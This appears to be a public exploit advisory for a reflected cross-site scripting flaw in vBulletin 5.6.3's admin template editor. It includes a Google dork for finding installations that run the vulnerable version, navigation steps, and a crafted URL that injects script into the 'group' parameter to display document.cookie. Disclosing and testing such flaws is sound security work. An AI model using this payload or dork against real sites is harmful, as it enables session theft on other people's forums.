29 lines
No EOL
1.2 KiB
Text
29 lines
No EOL
1.2 KiB
Text
# Exploit Title: vBulletin 5.6.3 - 'group' Cross Site Scripting
|
|
# Date: 05.09.2020
|
|
# Author: Vincent666 ibn Winnie
|
|
# Software Link: https://www.vbulletin.com/en/features/
|
|
# Tested on: Windows 10
|
|
# Web Browser: Mozilla Firefox & Opera
|
|
# Google Dorks: "Powered by vBulletin® Version 5.6.3"
|
|
# Blog: https://pentestvincent.blogspot.com/2020/11/vbulletin-563-admin-cp-multiple.html
|
|
|
|
Go to the "Admin CP" - click on "Styles" - click "Style Manager" -
|
|
Choose "Denim" or other theme and choose action "Add new template" and
|
|
click "Go".
|
|
|
|
Put on the title "1" and template "1" and "Save and Reload". Now you
|
|
can catch the new URL with HTTP Live Headers or with hands.
|
|
|
|
So..we have Url :
|
|
|
|
https://localhost/admincp/template.php?templateid=608&group=&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=168&textareaScrollTop=0
|
|
|
|
Test it with hands and get cross site scripting. Use for tests
|
|
different browsers. I use Mozilla Firefox and Opera.
|
|
|
|
https://localhost/admincp/template.php?templateid=1&group=""><script>alert("Cross
|
|
Site Scripting")</script><script>alert(document.cookie)</script>&expandset=&searchset=&searchstring=&do=edit&windowScrollTop=
|
|
|
|
Picture:
|
|
|
|
https://imgur.com/a/b6gH5Fn |